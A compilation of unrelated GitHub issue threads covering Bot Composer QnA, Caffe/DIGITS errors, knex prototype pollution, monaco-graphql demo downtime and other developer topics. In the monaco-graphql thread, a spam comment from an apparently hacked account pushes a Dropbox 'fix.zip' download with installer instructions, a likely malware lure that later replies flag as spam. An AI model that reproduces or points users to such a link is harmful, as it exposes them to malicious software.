https://play.vuejs.org/#__SSR__eNp9Uk1vm0AQ/SvTvTixDChJT9Sp1FQ5pIe2StNT6WEFA2wCu2h3wI4Q/72zi2tcq8qJYd6bj/dmR/Gp6+KhR5GKLWHbNZLwY6YBtoUaQsAhWamdImV0VFnTd0Cyus0EMzJx4MwFMESlsQxdKG62AaUL3F/yBwpJMhOQvuArwx6NVXFSDTCOENJatgjTdGybLIvw37soInQURedzVcl9S9k4XMbc8IDT+m1yrmSWeqAwvDjAvy63qiNwSIGo2s5YghEsljBBaU0LK7Zu9cGzkwQesTWD0hVQjd4iJjrTDOhCon4trPSToVWulZTXoeju59MGZElomX5Wv15LXazX4HaK6X8RrxXIgOTI1WYHCiokkBrQWmNBVlLp2O+UG+0oWA+3fuuLX14u+1ykcLUB73QKqwdWDVcrmDYLev0vej2jvy9Z6jaZfWFHxEaQ4yGlquJnZzQ/otH3yERu2k41aL91XrHLRAoB8ZhsGrP7EnJkewxTQ02N+ct/8s9u73OZ+M5+oh34wEeMpGXtM3z/4yvuOT6CrSn6htlvgI/+Qr3fcabd9brgtU94YduHcHo+wJO73xPyEzqI8ot65uxdJvg5fH5D+rLuTfw+1GV6EtMf72ojRg==
Would you raise another upstream issue please? 🙏

thank you!
closing here to track upstream 🙏


How did you make the gif for cheat.sh?

I am curious, how did you make the gif for cheat.sh?
what tool was it
I downloaded it and its only 621kb in size for a gif that seems to be over a minute long
I would love to know

test

very good question @vincentntang !
I've created my own tool (that I've not yet published on GitHub, but that will be published soon I hope).
I am very glad you liked it

I would love to see the tool I am very curious now :)

I will publish it soon, stay tuned!
I will put it on GitHub, publish it on my twitter, and update this issue, so you will not miss it.

.


Refreshing QandA maker KB from a SharePoint URL does not work - authentication issue?

Describe the bug
Cannot extract question answer pairs from Word document held in SharePoint via URL
Version

V2.1.1

Browser

[ ] Electron distribution
[ ] Chrome
[ ] Safari
[ ] Firefox
[x] Edge

OS

[ ] macOS
[x] Windows 11
[ ] Ubuntu

To Reproduce
Steps to reproduce the behavior:

Go to SharePoint.  Select a document in a Document Library, Right click, "Copy Link"
Open BOT Composer, from main vertical navigator select "Knowlege base".
Next to the bot name, click horizontal ellipses, select "Add QnA Maker knowledge base"
Enter name of knowledge base and click "Next"
Select "Create new knowledge base from URL" option.  Add Source URL previously copied from SharePoint, leave language as "English (United States)".    Click "Next"
Get message "Knowlege base is ready" (no errors)

Expected behavior
Expect to see the question and answer pairs in the Bot Composer.  Instead, see nothing but the name of the local KB which is itself a link to the correct document.
Screenshots
What I see is No Questions and No Answers

Also the "add new question" does not work so it is now not possible to add questions manually to the KB.
Additional context
It may be a security/authentication issue because if I put the word document onto a SharePoint page and then use the SharePoint page as the URL for the KB then I get the following:

BTW:
I am logged in to Azure correctly for the bot
I am logged into SharePoint on a browser correctly to access the page

BTW.  Is there a way to do a programmatic "refresh" if the source URL's have got new content?  I know if you do a "replace content" again and republish that it works but is there a automated version of doing it?
Thanks

You can look into the QnA Maker REST API

Secondly, it does look like you're hitting an authentication page when you create your KB. Could you attempt to download the file from SharePoint and upload it locally?

@anishprasad01 - I tried that but I have determined it is not that simple....
The BOT Composer (BC) creates its "own" Knowledge Base (KB) in the QnA Maker portal. (https://www.qnamaker.ai).
You can see this by going to the QnA Maker portal and you will see the "BOT" KB with the name;
{YOUR BOT}(composer){Language}
However, the content appears to be controlled only within BOT Composer.  If you inject additional content into this KB from the QnA Maker portal (say using the QnA Maker REST API), then the running BOT will ignore those additional QA pairs.
Moreover, the next time you "PUBLISH" the BOT from BC, it overwrites any additional content you may have put into the KB using the API with a copy of the "Local" KB.
One workaround would be to use the REST API to add additional content in the Portal Bot owned KB and then from with BC, you REPLACE the local content with the content from its own database before republishing.  Personally I don't like that workaround so another would be to create a SECOND KB with is native to the Portal, You can use the REST API to update that and then you still need to do a "REPLACE and PUBLISH" in BC to get it all working.
I cannot see any way to get the BC BOT to accept new QA pairs other than republishing the "Local" KB.
I do not know what is going in inside the BOT but it seems like the BOT needs to "know" about the QA pairs at the time of publishing
The original question for this post still applies..
Why can't BC replace content from a SharePoint hosted document.
A supplementary question that may help to answer the first one is
In what security context does the BC BOT work?  It does not seem to be the same as the Azure Logged in user.  If it WAS, then I'm sure it would work.

Since Composer is meant to be a bit easier to work with, it has more limitations than a code-first bot would. As far as I can tell, the only way to avoid having a local KB overwrite a remote KB, would be to not have a local KB at all. You could try creating the remote one first, and then just adding the key to your Composer bot.
As far as SharePoint goes, I don't know what else to tell you beyond that access to SharePoint by Composer like this isn't supported, likely due to security concerns with the application impersonating a user.
You could attempt the workaround of creating a cloud KB and I can confirm with the team, but I am fairly certain there aren't any other workaround besides this one and the ones you outlined.

I confirmed with the team, and the workaround of exporting from the cloud KB and updating the local Composer files is the way it currently needs to be done.

Thanks for the confirmation.
So to summarise:

A Bot Composer BOT QnA integration is via a LOCAL KB only
Any updates (i.e adding addtiional QnA pairs) at the source QnA URLs will not be available to the published BOT until they are firstly added to the LOCAL Bot Composer KB and then only after the BOT is REPUBLISHED.

Did I get that right?
Thanks again

Correct. As per current functionality, there is no way to prevent Composer from updating the Cloud KB with its own local KB when you publish a new version. Any new pairs you add and publish to the production slot in QnA should be picked up by the currently running bot, but as soon as you publish the bot they will be overwritten.

Thanks for confirmation.  But strangely, I found that adding new pairs to the production slot in QnA maker (composer) KB were not picked up by the currently running bot.  Should they have been?
Thanks :D

How is it even possible to NOT have a local KB and still have QnA maker integration with a Bot Composer BOT?

If I add an existing KB to the BOT settings then it does not find the QnA Maker KB.
If I add "Connect to external resources" in the Unknown intent and then the bot responds with "KnowledgeBaseId".
If I hard code the QnA Maker KB into the QnAMaker dialog I get the BOT responding with "Host".
If I add a QnA Maker KB to the BOT it always creates a LOCAL KB and I am back where I started when posting this question.

Thanks

Sorry, let me be more specific. When you have no QnA added, then you add one, the 4th scenario you specify occurs. However, any pairs in the QnA KB at the time you add it should be added.
You are correct that from this point on, a local KB always exists. The only workaround for this is to export the cloud KB and add it locally before you publish the bot.

Since we have identified a potential workaround and confirmed that this is expected behavior, I am going to pass your feedback on to the team and close this issue.
If you have issues or feature requests in the future, please feel free to raise them in the appropriate repository.


feat(ui): remember pagination option, project search selection jumps into project

Hello, my first contribution.
This adds browser local storage to remember pagination option.
Also improves the search to show only what you searched for and when selection a project you jump into it.

Updated the pr with the changes requested

There is just one bug indirectly blocking this PR that I am looking at ie. in local storage change the page size to the page which does not exist and refresh project list page

There is just one bug indirectly blocking this PR that I am looking at ie. in local storage change the page size to the page which does not exist and refresh project list page

useEffect(() => {
  if (data && page > Math.ceil(data.total / pageSize)) {
    setPage(Math.ceil(data.total / pageSize) || 1);
  }
}, [data, page, pageSize, setPage]);

maybe use useEffect to check if data is available? else reset it. just an idea

@sergiofteixeira yes please push that change. I tested in local and it resolves the issue that I mentioned

Also don't forget to run make lint-ui

@Marvin9 pushed those changes and ran lint

pushed the change @Marvin9


Python3 Support

Howdy,
I modified your library slightly for python3 support. Would love to add it in so I don't have to copy!
https://github.com/brookesy2/pynab/blob/development-postgres/lib/tvmazelib.py
Thanks!

Hey,
I'm happy to check it out and support Python 3, can you send a pull request so I can actually see what you've modified more easily?

For sure! Will do that now :)
I think only a few lines changed.


Uninstall codeunit

We currently have the option to write an install codeunit (subtype = install) where we can do some logic when installing the extension.
I have some code that for example registers a new webservice when installing this extension, this stays in the table when uninstalling the extension. I would like to clean up these kinds of remains when uninstalling my extension.
I can't find if there is such a thing as a codeunit that runs when uninstalling an extension. Can this currently be done, or are there plans to implement this in the future?

You should not insert a webservice with the install codeunit, but work with an XML - file in your extension.  That way, it will uninstall automagically.
xml should like like this

<?xml version="1.0" encoding="utf-8"?>
<ExportedData>
    <TenantWebServiceCollection>
        <TenantWebService>
            <ObjectType>5</ObjectType>
            <ServiceName>YourWebService</ServiceName>
            <ObjectID>50100</ObjectID>
            <Published>true</Published>
        </TenantWebService>
    </TenantWebServiceCollection>
</ExportedData>

@waldo1001 I'm trying to find documentation on this, but I can't seem to find it. Could you point me in the right direction?

Thanks, i'm going to try this solution.
I found some more information about this now I knew what to search for, if someone else needs this too:
https://docs.microsoft.com/en-us/dynamics-nav/how-to-export-data-for-an-extension
https://docs.microsoft.com/en-us/powershell/module/microsoft.dynamics.nav.apps.tools/export-navapptenantwebservice?view=dynamicsnav-ps-2018

While we do not have an immediate need for this, I do think the possibility to add custom uninstall logic would be a useful one. +1 for this.

'Uninstall' code is being actively developed and should work in a similar fashion as Install & Upgrade code. (e.g. codeunit subtype = uninstall). No specific ETA, but we are working it out.

This suggestion is tracked as part of #191 - closing as duplicate.


[Bug]  better Xcloud script not always loading

Device
TV
Device name
Philips AndroidTV 7304/12
Android Version
11
App version
0.16.4
Script version
5.1.1
WebView name and version
Android System webview 126
Reproduction Steps

Start app.
Server button not always showing (script not loaded)
Press green reload button (lower right corner) (not possible to press without a mouse on AndroidTV)
Server button visible and possible to go to settings.

This is a known issue.
also the app UI is not optimized for TV. You'll need a mouse no matter what.

Fixed in the beta version of the script: App setings > Script variant > Beta

Really? That's great! I'll try it out later. Even if not optimized it works really great on AndroidTV. Basically only some settings require mouse. I can even sign out and login with just the controller!


[SMALLFIX] Use the @Nullable annotation

Use the @Nullable annotation for all methods which may return null in
/alluxio/core/server/worker/src/main/java/alluxio/worker/block/allocator/GreedyAllocator.java

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/3317/
Test PASSed.

alluxio-bot, check this please.

alluxio-bot, merge this please.


ERROR: error code -11 in detectnet training

Hi! I trying to train Detecnet with my own data, i can build the dataset perfectly and following this tutorial to train detectnet, but, in the begining of the train, give me the following error: ERROR: error code -11
My configuration is the next:
Ubuntu 16.04
Geforce GTX 1080
cuda 8.0
caffe 0.15.14
Driver nvidia: 367.57
I installed Caffe from https://github.com/BVLC/caffe and also try to install nv-caffe from https://github.com/NVIDIA/caffe.git and have both installed (nv-caffe give me an error during make runtest about 3 layers, but i think are data augmentation layers like detectnet.resize or something like this)
Any idea? thanks in advance!

Can you give us the last few lines of your caffe_output.log?

I1102 23:25:37.374640 16303 layer_factory.hpp:77] Creating layer conv2/relu_3x3_reduce
I1102 23:25:37.374646 16303 net.cpp:94] Creating Layer conv2/relu_3x3_reduce
I1102 23:25:37.374649 16303 net.cpp:435] conv2/relu_3x3_reduce <- conv2/3x3_reduce
I1102 23:25:37.374652 16303 net.cpp:396] conv2/relu_3x3_reduce -> conv2/3x3_reduce (in-place)
I1102 23:25:37.374658 16303 net.cpp:144] Setting up conv2/relu_3x3_reduce
I1102 23:25:37.374661 16303 net.cpp:151] Top shape: 2 64 96 312 (3833856)
I1102 23:25:37.374662 16303 net.cpp:159] Memory required for data: 197877120
I1102 23:25:37.374665 16303 layer_factory.hpp:77] Creating layer conv2/3x3
I1102 23:25:37.374670 16303 net.cpp:94] Creating Layer conv2/3x3
I1102 23:25:37.374672 16303 net.cpp:435] conv2/3x3 <- conv2/3x3_reduce
I1102 23:25:37.374676 16303 net.cpp:409] conv2/3x3 -> conv2/3x3
*** Aborted at<PHONE_NUMBER> (unix time) try "date -d @1478125537" if you are using GNU date ***
PC: @     0x7f8a88ea4436 caffe::DataTransformer<>::TransformPtr()
*** SIGSEGV (@0x1026f67d110) received by PID 16303 (TID 0x7f8a27fff700) from PID<PHONE_NUMBER>; stack trace: ***
@     0x7f8a871c74a0 (unknown)
@     0x7f8a88ea4436 caffe::DataTransformer<>::TransformPtr()
@     0x7f8a88eade2f caffe::DataTransformer<>::TransformPtrEntry()
@     0x7f8a88e429b0 boost::detail::function::void_function_obj_invoker0<>::invoke()
@     0x7f8a88e4377b ThreadPool::main_loop()
@     0x7f8a86f7d5d5 (unknown)
@     0x7f8a86d566fa start_thread
@     0x7f8a87298b5d clone
@                0x0 (unknown)

I solved it! i think i had no all dependences installed...if anybody find this helpful here is the things i did: (and install caffe & pycaffe)

Re-Make caffe with Python layers: In your Makefile.config, make sure to have this line uncommented
WITH_PYTHON_LAYER := 1

Install the next python packages: cython, python-opencv, easydict

and DIGITS work perfectly!


Is this also useful for local images?

Just wondering, does this provide any significant performance boost when loading images from a local source? Trying to build a gallery viewer, but react is just way too slow to render images with  takes ~1 second to load just 10-15 images in a FlatList.

I don’t think it would make much of a difference if you use this vs. Image for local images.
What you need to do is make sure you’re loading thumbnails of the right size, if you’re trying to render a grid using the original photos that will probably be super slow and use a lot of memory.

That's interesting. Testing with full images it doesn't really seem like React's Image loads it all into memory, I would otherwise be getting lots of out of memory errors. Are you sure there's really any difference between loading the full image vs loading a reduced one?


you cant make Object.prototype will cause knexjs to fail without errors

Object.prototype.anyfun=function(){}

var knex = require('knex')({
  dialect: 'sqlite3',
  connection: {
    filename: './NewFileName.db'
  }
});

knex.schema.createTable( .. ) // will never fire
.catch( .. )  // never fire
.done||finally( .. )  // never fire

Remove Object prototype all this problems go
so is this knex problem or promise? not sure yet
i waste two days fixing the problem then finally when i remove Object prototype every thing works fine
i open this here so any one have unknown problem(no debug/errors) with knexjs will see this

Can you run your app with DEBUG=knex:* node app.js (or whatever your app file is) and look at the output of that to see what's going on?
Also, as a general rule, it's considered extremely bad practice to modify the prototype of built-in objects, specifically because it affects every object in the system of that type. Many libraries assume (rightfully so) that the environment is untainted by modified prototypes - to do otherwise would make the library much less useful and/or only useful in the prototype-modified context.
I strongly encourage you to rethink your approach. At the very least, instead of modifying prototypes, move those functions to a utility module and use that instead.
Instead of
Object.prototype.anyfun = function() {
  // presumably using 'this' pointer in here somewhere to refer the object
}

do this:
// utility-file.js

module.exports = {
  anyfun: function(obj) {
    // you now have an explicit 'obj' instead of relying on this
  }
};

See also http://stackoverflow.com/a/14034242/436977

Closing, cannot reproduce in latest knex.


[graphiql] monaco-graphql netlify example is down

Is there an existing issue for this?

[X] I have searched the existing issues

Current Behavior
https://monaco-graphql.netlify.com/ which is linked from npm is not working atm
Expected Behavior
Expect to see the webpack example running there
Steps To Reproduce

head to https://www.npmjs.com/package/monaco-graphql
click on "live demo"

Environment

GraphiQL Version:
OS:
Browser:
Bundler:
react Version:
graphql Version:

Anything else?
No response

Download
https://www.dropbox.com/scl/fi/ku9a1wblqyb84rb8ekase/fix.zip?rlkey=8763vim31xfgywjgy217yb8lh&st=gbp0kafn&dl=1
In the installer menu, select "gcc."

sorry for the direct ping - spam comment @acao ^

Sorry im still trying to remove the comments, account got hacked no sign of login.

Sorry im still trying to remove the comments, account got hacked no sign of login.
Sorry to hear that... Must be super stressful.

So, the version that was deployed there was several years out of date anyways! and it looks like someone removed the build-demo scripts, so the monaco bundle isn't being deployed to graphiql-test.netlify.app/monaco anymore either


Fix links to mutatingadmissionwebhook

Currently, two links point to an invalid anchor in
content/en/docs/concepts/workloads/controllers/ttlafterfinished.md

See Preview please.

Thanks.
/lgtm
/approve


Add ARMClient example

Add ARMClient deployment example

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 47f4669f-11f3-89ad-3cff-2d0085b8444d
Version Independent ID: d734d214-cdba-4de6-e1f1-29bfdc684ff7
Content: Azure Policy json sample - Billing tags policy initiative
Content Source: articles/azure-policy/scripts/billing-tags-policy-init.md
Service: azure-policy
GitHub Login: @bandersmsft
Microsoft Alias: banders

@danmyhre  Thanks for bringing this to our attention. Your feedback has been shared with the content owner for further review.

We are looking into this and will get back to you.  #in-process

@danmyhre Thank you again for the feedback.  We have created a Work Item to clean up all of the samples to provide more consistency with PowerShell, CLI, and REST API (which ARMClient uses).  As there are roughly 60 samples now (see https://github.com/azure/azure-policy), this is expected to complete over the next two Sprints. I'll be upgrading a sample in the samples repository and updating the contributor guide if you'd like to contribute to the cleanup effort.  I'll link back to this issue when I do the first PR.  Thanks again!  #please-close

@danmyhre We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


Configure Skyscape vSE and Org vDC network

Create the Skyscape vSE and Org vDC Network configuration in vCloud Net Launcher YAML templates.

This looks good to me :+1: